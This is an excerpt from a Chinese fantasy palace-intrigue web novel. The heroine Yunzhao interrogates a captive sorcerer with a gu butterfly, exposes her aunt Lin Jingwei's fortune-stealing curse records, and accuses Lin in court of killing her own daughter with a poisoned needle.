若太子真忌惮至此,难道要将天下医者赶尽杀绝?
这背后,必定藏着更深的缘由,是灵峰也无缘得知的。
时间在死寂中一点一滴流逝,唯有石壁渗出的水珠滴落的轻响。
玉衡**从最初的恼怒,渐渐化为无助与惶恐。
就在他焦躁不安地试图挣动铁链时,一种极其细微的声音,突兀地钻入了他的耳膜——
“嗡……嗡嗡……”
那是一种轻盈、迅捷,带着某种诡异节律的……振翅声!
玉衡**灰白的瞳孔猛地收缩!
这声音……他太熟悉了!是蛊虫!
“怎么可能……”
蚀心蛊,是‘鬼手’麻瘸子的独门蛊虫!
可他明明三年前就死在南疆瘴林了!就连他手中的蛊虫,也被其他人瓜分殆尽。
但那些人无不听命于府君,这蚀心蛊,又怎会落到云昭手中?
玉衡**心头狂震。
他深知这种蛊的可怕!中蛊者不仅会为下蛊者承担痛苦,更会被慢慢侵蚀心智,最终沦为浑浑噩噩的活傀儡!
云昭缓缓从阴影中走出,步履无声。
她手中托着一个晶莹剔透的寒玉小盒。
盒盖轻启。
一只翅翼薄如蝉纱的幽蓝蝴蝶,正安静地停在她戴着特制金丝手套的指尖。
蝴蝶微微振翅,发出那令人心悸的轻鸣。
玉衡**虽然看不见,但他脸上骤然扭曲的表情和浑身的战栗,都已充分说明——
他认得这蛊,并且怕极了它!
这正是月前云昭带兵闯入姜府,从梅柔卿房间密室中搜出的几只盒子之一。
其他盒中的蛊物都已空了,唯独这只寒玉盒中,封存着这活物。
云昭不通蛊术,但有悔大师却对此道涉猎颇深。
有悔大师研究此物足有月余,而后告诉她,此乃南疆早已失传的“蚀心蛊”。
成蛊形似幽蓝幻蝶,一旦种入人体,宿主便会替对下蛊者承受伤害与痛楚,且心神会逐渐受蛊虫影响。
那一刻,前世记忆的迷雾被狠狠撕开一道裂隙——
她被囚禁时,身上莫名其妙出现的伤口;
脖颈皮肤下钻出的、翩然飞走的幽蓝蝴蝶……
一切都有了答案!
原来早在那个时候,她就已经被种下了“蚀心蛊”!
而下蛊者,正是前世那个被太子奉为“小福星”的姜绾心!
云昭走近,指尖的幽蓝蝴蝶映着她冰冷的眼眸。
她轻声开口,语气平淡得像在讨论天气:“你认得蚀心蛊。”
玉衡**的脸剧烈抽搐,猛地“看向”云昭声音传来的方向。
他嘶声咆哮:“果然是你!姜云昭!你这妖女!邪祟!你用这等阴毒蛊物,算什么正道玄门!”
云昭对他的唾骂置若罔闻。
她只是依照有悔大师的指点,将那只幽蓝蝴蝶轻轻放在了玉衡**剧烈起伏的胸口。
玉衡**的咒骂声戛然而止!
云昭幽幽地笑了。
“看来**果然很了解这种蛊。那么你该知道,只要我将它挪到你的咽喉——
从今往后,你的生死痛楚,便由不得你自己做主了。”
她顿了顿,故意诓他,“你猜,我将蚀心蛊的母蛊……种在谁身上了?”
玉衡**大气都不敢喘,灰白的眼珠在眼眶中惊恐地转动,胸膛起伏得更加厉害,却死死咬紧牙关。
云昭并不期待他的回答。
她继续用那种平静到残酷的语调说道:“化功散的滋味,如何?
是不是觉得丹田空荡,经脉淤塞,昔日澎湃真元,如今如死水一潭?”
玉衡**心头剧震!
原来自己法力被封、虚弱不堪的根源在此!
难怪自他醒来,尝试了数种冲关秘法都毫无效果!
云昭声音里透着几分惋惜:“可惜,我不知道你当初是用了什么符咒,混在化功散里,骗我清微谷满门服下。
凑巧,我脑子里记着的、能让人‘印象深刻’的符咒种类也不少。
我便选了一种最适合**的,请你也尝尝这滋味。”
她缓缓报出一个古老的符咒名字——“千魇符”。
千魇符是一种很古老偏门的符咒。
中符者,将永远活在无尽的恐惧梦魇之中,心神被反复凌迟,直至彻底崩溃疯癫,求死不能!
玉衡**发出野兽般的嚎叫,“都是你那个废物兄长姜珩没用!当初在清微谷,他怎么就没顺手将你也乱刀**!留你这祸害至今!”
他自然早已听闻云昭,对梅氏报复的手段之毒辣。
如今亲身领略云昭的睚眦必报,更是心胆俱寒!
他忍不住惨笑连连:“姜珩的下场,只会比我更惨十倍!”
云昭只是漠然道:“他的事,不劳**费心。
**若是想死得体面一些,少受些零碎折磨,只需老实回答我一个问题。”
说话间,玉衡**骇然感觉到,胸口那只幽蓝蝴蝶轻轻振翅.
冰凉的身体竟开始缓缓向上爬动!
细微的触角,已经触碰到了他颈部的皮肤,正朝着咽喉要害一寸寸逼近!
“府君——”云昭的声音清晰而冰冷,如同审判,“是谁。”
她当日为何独留梅氏一口气在?正是因为梅氏在吐出“府君”二字后,骤然遭到猛烈反噬,险些当场毙命!
那绝非普通禁制,而是极其恶毒的“绝言咒”。
这证明“府君”之名本身,就是一个不可被提及的禁忌。
她留下梅氏,本
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意是放长线钓大鱼,看看谁会来灭口或补救。
可惜,也只钓出了薛九针。
而薛九针临死前的警告:“小心你身边的人,他们的眼睛,无处不在!”
如一根尖刺,从此深扎在云昭心头。
自那以后,她对所处环境的任何细微异常都倍加警惕。
也正是这份警惕,让她今日在李老实家中,第一时间发现了那面被做过手脚的铜镜,最终顺藤摸瓜,一举重创了隔空施法的玉衡。
玉衡**在蚀心蛊的威胁和“千魇符”的双重压迫下,许久才嘶哑着挤出声音:
“你既然知道他,自然也该知道……但凡泄露其名讳者,会遭受何等酷烈的反噬。
我……不可能说!”
他仿佛找到了某种支撑,声音带着怨毒与一丝诡异的得意:“若不是本尊先被‘噬魂符’反噬,你以为就凭你,能制服得了本尊?”
云昭自然知道,自己今日能如此顺利得手,除了布局与机变,确实有几分运气成分。
天道轮回,报应不爽。
凭什么总是恶人一再走运?
今日,也该轮到她和那些枉死的冤魂,得到一次命运的眷顾了。
玉衡**说完,便紧紧闭上了嘴,摆出了宁死不言的姿态。
云昭见状,眸光幽深:“**不必忧虑。我倒是有个法子,可以让你现在就体验一下,比噬魂符的反噬,更有趣的滋味。”
话音未落,云昭左手精准地捏住玉衡**的下颌,迫使他张开嘴。
随即将那只蝴蝶,连同寒玉小盒中某种粘稠的透明浆液,一股脑地塞进了他的口中!
“唔——!!咕……嗬嗬……”
玉衡**猝不及防,只觉那冰凉的活物与浆液滑入喉管,直坠胸腹!
他惊恐万状地剧烈挣扎、干呕,却无济于事。
更令他骇然的是,随着蛊虫入体,他原本依靠邪术勉强维持的青春皮相,如同被戳破的气泡般迅速干瘪、衰老!
皱纹以肉眼可见的速度爬满他的脸庞与脖颈。
不过几个呼吸之间,他已变回了一个枯瘦老者模样!
这才是背负无数罪孽的玉衡,本来面目!
实际上,这“蚀心蛊”早已被有悔大师以佛门秘法改造过,否则云昭也不敢这般轻易上手。
除了令玉衡瞬间恢复原本的苍老模样,这蛊很难对他造成真切的伤害。
不过,想让玉衡受尽折磨,云昭有的是手段。
她要的不仅是以牙还牙,更是加倍奉还!
她后退两步,口中轻喃两声,双手于胸前结出一个古朴的手印。
一道穿着繁复黑色祭司长裙、红瞳如血的身影,缓缓自云昭身后的阴影中浮现——
正是鬼后阿措依。
她一出现,那双贪婪的血眸便死死锁定了石壁上的玉衡**,鬼脸上闪过一抹毫不掩饰的渴望。
“他的魂魄……怨气深重,恶业缠身,对我而言,可是大补之物。”
阿措依的眼珠,恋恋不舍地转向云昭,“若我能撬开他的嘴,问出你想知道的东西——
事后,能把他的魂魄交给我吗?”
云昭知道,对于阿措依这等大鬼而言,吞噬玉衡这种修为不低、罪孽滔天的玄师魂魄,不仅能恢复力量,甚至可能获得其部分记忆与知识。
她点了点头:“可以。但我要知道关于‘府君’的一切,以及……他与太子、与我清微谷的所有关联。”
她用鬼语快速交代了几句,又转向玉衡:“蚀心蛊的滋味,**且慢慢品尝。会有朋友帮我好好招待**。”
未知,往往比已知的酷刑更令人恐惧。
玉衡**看不见,却能感觉到一股阴寒的气息正在逼近自己,耳中仿佛响起万千冤魂的凄厉哀嚎……
云昭不再浪费时间,她知道,凭阿措依的手段,玉衡坚持不了多久。
她转身,毫无留恋地离开了密室。
门外,早已等候多时的墨七低声道:“司主,林氏那边……有消息了。”
第253章 掘了祠堂,绑了静薇
回到昭明阁时,夜色已深,星子寥落。
“司主,人赃俱获。
林氏趁着夜色潜回江陵老宅祠堂,正试图开启地下暗格取走其中物件,被我们的人当场制住。
暗格内所有物品,均已带回,现置于偏厅。”
林氏想动祠堂底下的东西,被秦王的影卫按住,将那些东西也都带回来了。
云昭眸光一凛,没有丝毫耽搁,立即转身前往偏厅。
厅内光线昏黄,将桌案上那几样物件的影子拉得诡异扭曲。
空气中弥漫着一股难以言喻的陈腐气息,混合着泥土、木头的气味,有一种说不出的阴寒。
桌案中央,几样东西静静陈列:
一卷边缘破损的帛书;
几件造型诡异、刻满扭曲符文的木雕人偶;
另有数个拳头大小、陶土烧制的罐子,罐口被暗红色符纸紧紧封住。
云昭瞧着木雕人偶和陶罐,忽而觉得这东西瞧着有几分眼熟。
玄门之中,使用邪术害人者虽众,但手法、习惯、乃至所用材料,每个流派都不尽相同。
寻常人或许难以分辨,但对于经验丰富的玄师,是足以从邪物看出流派乃至个人的。
更不要说,云昭还有玄瞳的加持。
云昭拿起其中一个木雕人偶,指尖触及木质,一股冰寒粘腻的触感仿佛要顺着皮肤钻入。
这手法和气息,与当日在碧云寺,柔妃和母亲房间搜出来的邪物……
很像!
她心跳微促,又伸手取过一个陶罐,谨慎地揭开罐口的暗红符纸。
一股难以形容的腥臊**之气顿时扑面而来!
罐内是暗红发黑的粘稠浆水,隐约可见未完全融化的草药碎屑漂浮其中——
正是以女子经血混合特定年月挖取的墓土、炼制过的尸油,再辅以几种至阴药材调和而成的“阴煞媒介”!
果然!
那日碧云寺风波,表面是梅氏协助孟贵妃算计柔妃和她们母女二人。
但如今看来,梅氏所用的那些诅咒邪物,竟分明出自林氏之手!
云昭不由想深一层。
她派人跟踪梅氏、蹲守苏家这些时日,从未见梅氏和林氏两人有过任何往来。
那么,她二人到底是经年累月的合谋;
还是说,就连梅氏也不知,薛九针背后,还有林氏指使。
云昭更倾向于后一种。
否则,凭梅氏能作妖的程度,若得林氏从旁指点,只会翻出更大的浪。
想通此节,云昭眼中寒意更盛。
这林氏,远比她想象的更狡猾、更恶毒!
她压下翻腾的思绪,展开了那卷帛书。
帛书上的字迹娟秀,正是林静薇的手笔。
这并非什么古籍残卷,而是一份记载详尽的“窃运换命术”,时间跨度长达十余年:
·戊午年腊月,取得**梳头落发三缕,并其生辰八字。以老桃木雕琢人形胚胎,嵌入发丝,背书其八字,正面书我之名讳。埋于祠堂东角地下三尺。
·庚申年三月,窃其‘家人亲睦’气运,渐得姑姑、姑父喜爱;反观**,与姑母言语争执,嫌隙渐深。
·丙寅年秋,幸甚!前日胎象不稳,有滑胎之兆,惊惶不已。急以秘法,转嫁**‘子女缘福’之气。今日脉象已稳,胎气复固。**之女似有灾厄,据闻流落在外,音讯不明,恐凶多吉少。
一桩桩,一件件,记录得如此冷静又如此贪婪。
在字里行间,林氏将小姑子苏氏的不幸与衰颓,视作滋养自身“美满顺遂”的源泉。
言辞间毫无愧疚,只有得逞后的暗自欣喜。
至此,所有疑惑豁然开朗!
母亲苏氏为何会从一个明媚鲜活的千金才女,变得后来那般郁郁寡欢,体弱多病;
为何自己会幼年离家,命运多舛,历经磨难;
为何兄长姜珩会被李代桃僵,至今下落生死不明;
而林氏母女,却在苏家受尽宠爱……
这其中,除了人心算计,更有一份恶毒至极的“气运嫁接”在暗中作祟!
悲愤与冰冷的杀意在胸腔中交织翻腾,云昭缓缓卷起帛书,指节因用力而微微发白。
墨七道:“司主,林氏和苏老夫人俱已押回,单独看管。
苏凌岳中途晕倒,已遣回春堂楚大夫为其诊脉。
半个时辰前,苏凌岳也醒了,只是哭闹着要见林氏。”
她走到书案前,铺开信纸,提笔蘸墨,以最快速度写下两封简短的密信。
封缄后,递给墨七。
“速将此信,分别送至秦王殿下与裴寂裴大人手中。
告知他们,证据已齐,脉络渐清,涉及苏家内闱邪术、碧云寺旧案,乃至可能更深之牵连。
请他们早作准备,明日大理寺,需当庭对质,彻查根源!”
“是!”墨七双手接过密信,深知事关重大,身影一闪,瞬息远去。
*
翌日,辰时初刻,大理寺。
庄严肃穆的大理寺正堂大门紧闭,隔绝了外界所有窥探。
今日之案,涉及阴私邪术、至亲相害,且牵连官宦内宅,不宜公开审理,故由大理寺卿白羡安亲自坐堂。
云昭的马车悄然停在后门。
她先下车,然后转身,虚扶着母亲苏氏的手臂,助她稳稳踏下马车。
苏氏今日穿着一身素净的靛蓝色衣裙,面容苍白却透着一股破釜沉舟的决然。
女儿昨夜已将祠堂下的真相告知,那瞬间的天旋地转与心如刀割过后,此刻的她,只剩下一个念头——
她要亲眼看着这窃取了她半生气运、毁了她母女人生的罪魁祸首,得到应有的审判!
秦王萧启与赵悉已先一步抵达。
萧启目光沉静,对云昭微微颔首;赵悉则面色凝重,再无平日跳脱。
“升堂——!”
堂威声中,大门开启,衙役肃立。
白羡安绯袍乌纱,面色肃穆端坐。
苏家众人被依次宣入。
苏文正走在最前
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,强自镇定下难掩忧惶。
苏凌风搀着妻子王氏,两人神色略显不安,但并无半点心虚掩藏。
苏惊澜扶着母亲,少年脸上满是凝重。苏惊墨站在稍后,脸色苍白,唇抿成线。
苏家四爷苏凌远,远在泾阳赴任,未能到场。
苏文正心知今日之事,必与玉嬛之死有关。可即便孙女是枉死,按例也该交由京兆府处置。
何以会动用到大理寺这一层级?
今日如此阵仗,令他心中不安骤增。
然而,不待他细想,白羡安已沉声喝道:“带相关人犯及证物——!”
不等苏家众人从惊愕中回神,一声凄厉哀嚎已撕裂了堂上肃静:
“老爷——!”
那声音涕泪滂沱,嘶哑破碎,仿佛从肺腑深处硬生生嚎出来的。
众人循声望去,只见两名五大三粗的女狱卒,正一左一右架着一个人蹒跚而入。
那是苏老夫人。
昔日里簪着碧玉簪子的发髻,此刻散乱如秋草,几缕灰白沾在汗湿的额角与颊边。
身上已是污渍斑斑,下摆甚至撕裂了一道口子,露出里头脏污的素绸里衬。
她几乎是被半拖半搀着向前挪动,双脚颤巍巍点着地,仿佛失去了支撑的力气。
一见到前方那道挺直却瞬间僵硬的熟悉身影,苏老夫人涣散的目光骤然聚焦,“哇”的一声,竟如孩童般毫不顾忌地嚎啕大哭起来。
这位苏老夫人,娘家姓林,闺名玉蓉,虽非钟鸣鼎食之家,却也是诗礼传户的清白门第。
自十六岁及笄,一顶花轿抬进苏家高门,从此便是正经的官家夫人。
婆母规矩是严,晨昏定省、持家理事一样不少,却也从未在吃穿用度上短过她,更不曾动过她一指头。
夫君苏文正,即便公务繁忙,对她也是敬重有加。
这一生,她何曾吃过半点皮肉之苦?何曾受过这等牢狱之灾?
如今年逾花甲,先是因夫君一纸命令,仓皇离京,舟车颠簸已耗去半条命;
紧接着,竟在老家江陵,众目睽睽之下,被一群如狼似虎的官差从祠堂里“请”出,与林氏一道,塞入囚车,一路押解回京。
昨夜大理寺狱中阴冷潮湿的气息,昏暗跳动的火光,隔壁不知何处传来的呻吟,还有狱卒冰冷不耐的呼喝……
简直要将这位养尊处优的老妇人吓疯!
而此刻,竟是在大理寺公堂之上,当着满堂儿孙、旁支亲眷的面,被如此不堪地拖拽上来!
羞耻、恐惧、委屈、绝望……种种情绪如沸水般冲上头顶,苏老夫人只觉得天旋地转。
这辈子积攒的所有体面与尊严,在这一刻彻底摔得粉碎。
两名狱卒面无表情地同时松手。
苏老夫人腿一软,整个人向前,一头扑进苏文正怀里。
她死死攥住夫君的衣襟,抓住他衣襟放声嚎哭:
“老爷!老爷救我!他们掘了祠堂,绑了静薇,还把我也关进大牢!我没法活了呀!”
第254章 凶手正是——林氏!
端坐主位旁听的白羡安,目光从苏老夫人身上移开,落在了苏文正脸上,心中无声一叹。
朝野上下,谁人不知苏文正苏老大人?
出身清流,科举晋身,为官三十余载,始终以“清正廉明”四字立身。
他曾在赈灾银两案中顶住各方压力,彻查到底;
也曾因直言进谏,触怒天颜而被罚俸贬职,却从未折腰。
在世人眼中,他便是那等风骨铮铮的纯臣典范,是官场上少见的一股清流。
白羡安自己,虽与苏文正政见偶有不同,私下交往亦浅,但内心对其人品官声,始终存着一份敬意。
可自从昨日深夜,卷宗与密报递到他案头,看完其上罗列着苏老夫人与林氏在江陵老家的种种行径,白羡安便觉得胸口发闷。
这位苏老大人,清明一世,洞悉朝局,怎么偏偏在后宅家事上,糊涂至此?
甚至,比起当时一叶障目的自己,还要糊涂!
宦海浮沉,浊浪滔滔,想全身而退已属不易。
不知多少同僚,并非倒于政敌攻讦或君王猜忌,而是败在了后院起火、家门不修之上。
苏文正兢兢业业一辈子,临到晚年,难道真要毁在这看似柔弱、实则跋扈无知的老妻手中?
清名若污,晚节不保,往日所有功绩,都可能被这一笔烂账拖累,沦为笑谈。
可怜!可叹!
苏文正僵立在那里。
怀中老妻身体抖得如同秋风里的落叶,哭声压抑而绝望,是他过去几十年都未曾听闻过的凄惶。
他先是呆了一瞬,下意识地抬起手,有些笨拙地拍了拍老妻那剧烈耸动的肩背。
随即,他深吸一口气,稳了稳心神,用力将几乎瘫软的苏老夫人扶起,让她勉强站住:
“你不是回江陵了?岳儿和林氏呢?这到底怎么回事?”
苏老夫人仿佛溺水之人终于喘上一口气,转为断断续续的抽噎,话也说得颠三倒四:
“老爷……他们……他们带了大队人马,凶神恶煞,不由分说就闯进祠堂,惊扰了祖宗灵位!还要强行带走静薇!
妾身……妾身是薇薇的婆母,怎能眼睁睁看着?
妾身当即上前理论,他们便说妾身阻挠公务,将妾身也锁拿了!”
她越说越觉冤屈,泪水再次汹涌,“老爷,妾身这辈子,何曾受过这等折辱!您要为我和薇薇做主啊!”
苏文正心头猛地一沉,像是被重锤狠狠敲击。
他倏然抬眼,直直扫向公堂一侧——
那里,云昭正静静立着,身姿挺拔,神色无波。
对上他的目光,她甚至微微偏了下头,唇角似乎极淡地勾了一下。
那眼神里没有身为外孙女的孺慕,没有被污蔑被冤枉的悲愤,只有一片深不见底的寒潭。
那种对他不抱任何希望的目光,刺得苏文正心脏骤然缩紧。
这几日,他心中何尝平静过?
自那日大朝会,他亲眼目睹这个流落在外多年的血脉至亲,在金銮殿上,面对天子与满朝文武,清晰而坚定地请求与姜家“分家析产,一刀两断”。
自那时起,她便自称“云昭”,不再冠以姜姓,言谈举止间,也再无半分提及苏家之意。
苏文正岂会不明白?
这个外孙女,心性之坚,主意之正,远超他的预料。
她不愿认回苏家。
不是不能,而是不愿。
或许,日后她会因那份无法完全割裂的血缘,和**一起,偶尔来苏府探望他这个外祖父;
或许在苏家真正遭遇灭顶之灾时,她念在母亲份上,会出手拉一把。
但她绝不会再将“苏家”视为归宿与依靠。
因为,苏家不值得。
那日下朝回府,他在书房枯坐整日,看着窗外日影由明转暗。
直到时近傍晚,他终于提起笔,写下安排老妻“归宁”江陵老家的手书。
明面上,是体恤她年事已高,思念故乡,回去颐养。
但朝中明眼人,后宅通透人,谁看不出这几乎是变相的放逐与放弃?
连同对林氏的处理,虽未写下“休弃”二字,但态度已然分明。
长子苏凌岳性情懦弱,遇事毫无决断,平日只会在细枝末节上纠缠,真正的大事当前,却总是左右摇摆。
他要跟着母亲妻子同去,苏文正早有预料,也懒得多加阻拦,只觉心累。
原以为,这般处置,虽未能完全如云昭那般决绝,也算给了各方一个交代,暂将风波压下。
可谁能想到,这才短短几日?
老妻竟然不是安稳待在江陵,而是以这种最为不堪的方式,被云昭的人“送”了回来。
并且直接捅到了大理寺,闹上了公堂!
这已非简单家丑。
云昭此举,是将苏家最后一块遮羞布,当着整个京城的面,狠狠扯下!
一股寒意,从脚底直窜上脊椎。
苏文正扶着老妻的手臂不自觉地用力,指节泛白。
他缓缓转回头,看着眼前哭花了脸、犹自委屈诉说的老妻,往日那些温存包容,此刻被一种极其陌生的冰冷审视所取代。
他脸上惯常的温文儒雅消失不见,只剩下前所未有的冷凝与沉肃:
“你和林氏,在江陵……到底都做了些什么?”
就在这时,只听“啪——!”一声惊雷般的脆响!
白羡安手中的惊堂木再次重重拍下,震得案几上的笔架都微微发颤。
“带——林氏、苏凌岳上堂!抬——尸棺入堂!”白羡安的声音威严冰冷,不带一丝温度。
公堂侧门再次打开。
先是被两名衙役押解进来的林静薇。
她与婆母苏老夫人不同,并未如何挣扎哭嚎,只是深深低着头,几乎将脸埋进胸口。
一身素淡的衣裙虽不算十分脏污,却褶皱不堪,发髻松散,几缕发丝贴在苍白如纸的脸颊边。
她步伐虚浮,被带到堂下便软软跪下,目光只敢盯着眼前三尺地面,双手在袖中紧紧交握,指节捏得发白。
苏凌岳同样面无人色,脸上写满了惊惶与**。
他跟在林氏身后,脚步踉跄,眼神躲闪。
尤其在看到神色复杂的苏老大人,以及堂上众多族亲各异的目光时,他的头垂得更低了。
而更令人心神俱震的,是在这两人之后。
四名身形健壮的差役,稳稳地抬着一具黑沉沉的棺椁,踏入了公堂。
棺椁被放在堂中空地,落地时发出“咚”的一声闷响。
里面躺着的,正是已然死去多日、曾名动京华的苏家大小姐,苏玉嬛。
因天气暑热,尸身此前一直妥善存放于特制的冰窖之中,加之此时天色尚早,气温未升,堂内暂时并未弥漫开预想中的**气息。
然而,棺椁真真切切出现在眼前时,视觉的冲击远比气味更为骇人。
堂上不少女眷已惊恐地用绣帕紧紧捂住了唇;
男人们也面色凝重,目光复杂地在棺木与云昭之间逡巡。
一片压抑的寂静中,云昭清冽的声音响起:
“今日将诸位请至大理寺,首要之事,确为交换苏小姐尸骸,令其
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早日入土为安。”
云昭话锋一转:“然则,在将苏小姐交还之前,有关其死亡的真相,有必要当着苏家诸位长辈、亲眷的面,说个清楚明白。”
此言一出,所有苏家人的目光,都齐刷刷聚焦在了云昭身上。
云昭自袖中取出一张折叠整齐的纸,递给身旁侍立的玄衣侍卫。
侍卫双手接过,走向苏文正,双手呈上。
之所以直接给苏老大人看,是因为这只是事后抄录的一份,而正本早在昨日夜间,已然递交到大理寺。
方才萧启抵达之后,也已先一步看过。
苏文正的手指微颤,接过了那张轻飘飘却又重如千钧的纸。他没有立刻打开,而是看向云昭。
云昭的声音继续在堂中回荡,一字一句,清晰冰冷:
“经我与有悔大师、京兆府资深仵作三方联合,反复勘验确认——
苏玉嬛小姐身中邪术,左腿曾遭替换,此为其生前所受折磨,却并非其直接死因。”
她刻意停顿,目光刺向跪地不语的林氏,
“其真正致命之由,是临死之前,被人以一根细若牛毛、淬有剧毒‘幽梦散’的金针,自‘风府穴’斜向上方,精准刺入颅脑所致。
此针入体即断,残留体内,毒发迅速,令人意识涣散,呼吸停滞,表象如同突发急症或邪术反噬而亡,极难察觉。”
说到此处,云昭微微抬手。
另一名侍卫上前,手中托着一个铺着雪白丝绒的托盘。
上面赫然是一根在光线映照下泛着微弱金芒、细得几乎看不见的断针。
针尖处,隐约可见一点诡异的暗蓝色。
“此物,便是从苏小姐‘风府穴’深处取出的凶器。”
云昭示意侍卫将托盘微微转动,让苏家前排几人能看得更清楚些,
“三方联署验状在此,若有疑问,可当场传唤有悔大师与京兆府仵作质询。”
今日既然苏家所有人都在公堂之上,证据、证人俱全,务必凿实凿死,杜绝日后任何‘死无对证’或‘妄加揣测’的非议。
这时,一位穿着绛紫色衣裙、眉眼略显刻薄的苏家旁支妇人,用帕子用力掩着口鼻道:
“既然死因都已查得这般清楚了,凶器也找到了,云司主神通广大,自去缉拿那胆大包天的真凶便是!”
“是啊,说到底这也是苏家家事,云司主虽……虽与苏家有旧,但如此兴师动众,惊动官府,未免有些过了。”
另一个年轻些的媳妇也小声嘀咕:“可不是,还抬着棺椁上来……多瘆人啊,这让外人怎么看我们苏家……”
苏凌远并未参与这些低声议论。
云昭这时道:“我今日之所以将苏小姐尸骸发还,并将验尸结果公之于众,并非多此一举。只因为——”
她顿了顿,整个公堂的空气仿佛在这一刻彻底凝固。
“害死苏玉嬛小姐的真凶,并非外人所为,正是你们苏家之内,与她血脉相连、朝夕相处之人!”
“什么?!”
“这不可能!”
此言如同平地惊雷,在苏家众人头顶轰然炸响!
骇然惊呼声四起,许多人瞪大了眼睛,不敢相信自己的耳朵。
就连一直倚靠着苏文正啼哭不止的苏老夫人,也像是被掐住了脖子,哭声戛然而止。
她猛地抬起头,浑浊的眼中充满了极致的惊愕与茫然,死死看向云昭。
在一片惊骇的目光中,云昭缓缓抬起手,纤长食指稳稳地指向了堂下那个跪伏在地的身影——
“林、静、薇。”
第255章 你开心了?你得意了?
不等林静薇开口辩解,一旁的苏凌岳已先一步抬起头。
他脸上满是惊怒,声音发颤道:
“云昭!你……你在胡说什么?!嬛嬛是我和薇薇唯一的骨肉!
是我们捧在手心、如珠如宝养大的女儿!
从牙牙学语到亭亭玉立,我们倾注了多少心血?
虎毒尚且不食子!
薇薇她……她怎可能害自己的亲生女儿?”
他胸膛剧烈起伏,眼中布满了红丝,既有提及女儿惨死的痛楚,更有对妻子被如此指控的激愤。
倚在苏文正怀里的苏老夫人仿佛也被这话点燃,手指颤抖地指向云昭:
“你这孩子!心思怎的这般歹毒阴狠!先是不认血脉亲情,屡次顶撞长辈,视礼法如无物!
如今更是变本加厉,竟用这等诛心之言污蔑你的亲舅母!
甚至不惜捏造出这等骇人听闻、天理不容的弑女罪名?!”
她胸口剧烈起伏,老泪纵横的脸上,混合着悲痛与怨毒,仿佛云昭就是她一切苦难的根源。
骂到这里,她浑浊的眼珠猛地一转,转而看向站在稍远位置,从始至终一语未发的苏氏:
“苏**!你到底都跟云昭说了多少苏家的不是,竟她对自己母家怀有如此恨意!
看到她这般处心积虑地报复我们,把苏家搅得天翻地覆还不够,
还要用这种下作手段,将我和薇薇从江陵老家,像押解囚犯一般抓**京,当众折辱!
看到我们全家上下惨不堪言,看到她毁了苏家百年清誉,你开心了?你得意了?”
只要矛头一对准苏**,苏老夫人的口齿便瞬间变得异常凌厉,那股虚张声势的气势也比平日强盛十倍。
然而这一次,苏**并未如从前那般,流露出任何失望或委屈的神色。
她只是静静地站在那里,目光沉静地回望着情绪失控的母亲。
眼神里,没有了少时的孺慕、渴求,也没有了被口舌伤害后的黯然神伤,只剩下一种经过漫长时光沉淀后的了然与疏离。
待苏老夫人喘着粗气暂歇,苏**才淡声开口:“老夫人,慎言。”
她不再称呼“母亲”,而是用了极其客套、也极其疏远的“老夫人”三个字。
“此地乃大理寺公堂,国家法度所在。
每一句话,都需言之有据。
随意诓骗攀诬、污蔑他人,干扰审案,按律……可是要受杖刑的。”
她顿了顿,目光平静无波地迎上苏老夫人瞬间瞪大的眼睛,继续道,
“届时,若您再对主审官言说,是女儿蓄意诱使您口出恶言、扰乱公堂——
女儿身单势薄,实在百口莫辩,承受不起这般罪责。”
这番话,客气至极,也冰冷至极。
苏老夫人整个人如遭雷击,瞬间僵在原地。
二十二年了。
自从当年裴寂那件事,苏**便成了苏老夫人心中“家门不幸”的具象,是完美门楣上那道无法遮掩的裂痕。
从前苏**尚在闺中,苏老夫人虽未动手打罚,但类似“祸水”、“孽障”、“不知廉耻”、“带累全家”的恶毒咒骂,就如影随形,从未断过。
而每一次,无论言辞多么尖刻伤人,苏**都只是垂下眼睫,默默承受。
她将所有的**、悲痛和绝望嚼碎了咽进肚子里,从未顶撞过半句。
她的沉默,在苏老夫人看来,是理亏,是认命,更是自己可以肆意宣泄情绪的依凭。
可就在此时此刻,在这公堂之上,在她习惯性地将一切祸端再次归咎于这个女儿——
苏**开口了。
没有哭泣,没有辩解,没有哀求。
只有一句划清界限的“老夫人”。
“你……你叫我什么?!”
苏老夫人嘴唇哆嗦得厉害。
眼睛里除了难以置信,还有一丝连她自己都未曾察觉的恐慌。
过往多年来支撑她肆意发泄的某种东西,似乎在这一瞬间崩塌了。
巨大的羞辱感和失控感淹没了她。
她再也顾不得什么公堂体统,猛地向前冲了一步,若非苏文正及时拽住她的手臂,几乎要扑过去。
她声音尖厉得破了音:“果然是你!我就知道是你!你个不孝女!白眼狼!我当初怎么就生下了你这个祸害——!!!”
苏老夫人这一扯着嗓子嚷嚷开,一旁站着的苏家旁支众人,也忍不住纷纷交头接耳,低声议论起来。
“弑女?这怎么可能?”
“这话说得有点过了,也难怪老夫人接受不了。”
“将老夫人和大夫人这般押来,本就失了分寸……”
眼看公堂之上私语渐起,白羡安面色一沉,惊堂木再次重重落下:
“肃静!公堂之上,不得喧哗!再有妄议者,以扰乱公堂论处!”
威压之下,议论声戛然而止,但众人脸上各异的神色却并未消退。
这时,一直沉默旁观的苏凌远上前一步,他面色同样凝重。
他先是看了一眼情绪激动的兄长和母亲,又转向云昭,沉声开口:
“云昭,兹事体大,关乎人命,更关乎至亲伦常。
你既然敢在公堂之上,当着白大人与秦王殿下的面,直言指控,想必绝非凭空揣测。
若有证据,不妨一一陈列,仔细道来。是非曲直,总要有个明白,也好……让家里人,都听个真切,死个明白。”
他最后几个字说得极重,就连苏文正听了,也不禁色变。
云昭对苏凌远的话并不意外,事实上,苏凌风能这样说,已经摆明了他的态度——
他相信云昭不会无的放矢,但为了平息众人的质疑,她今日务必将案情掰开揉碎,让苏家众人无从辩驳。
云昭目光扫过苏家众人,缓声开口:
“苏二爷所言甚是。要厘清苏小姐的真正死因,追查元凶,有一个问题,必须摆在明面,论个清楚。”
她一字一句问道:“敢问苏家诸位,可有人知晓——
苏玉嬛小姐,当日为何会孤身前往将家村?”
此言一出,如同冰水浇头。
刚刚还因苏老夫人哭诉而骚动的公堂,瞬间陷入一片诡异的死寂。
不再需要惊堂木维持秩序,所有苏家人,无论是嫡系还是旁支,全都像是被这个问题钉在了原地。
他们面面相觑,你看我,我看你,眼神闪烁,嘴唇翕动,却无一人能给出确切的回答。
整个苏家,竟无一人知晓苏玉嬛当日出行的缘由!
尤其那些旁支亲眷,他们只知道突然某日噩耗传来,嫡脉大房备受宠爱的千金苏玉嬛,莫名其妙死在了那个听说很邪门的将家村。
尸身还被玄察司以查案为由强行带走,迟迟未归。
对云昭这位突然出现的“外孙女”,苏家这些人,可说是“敢怒不敢言”。
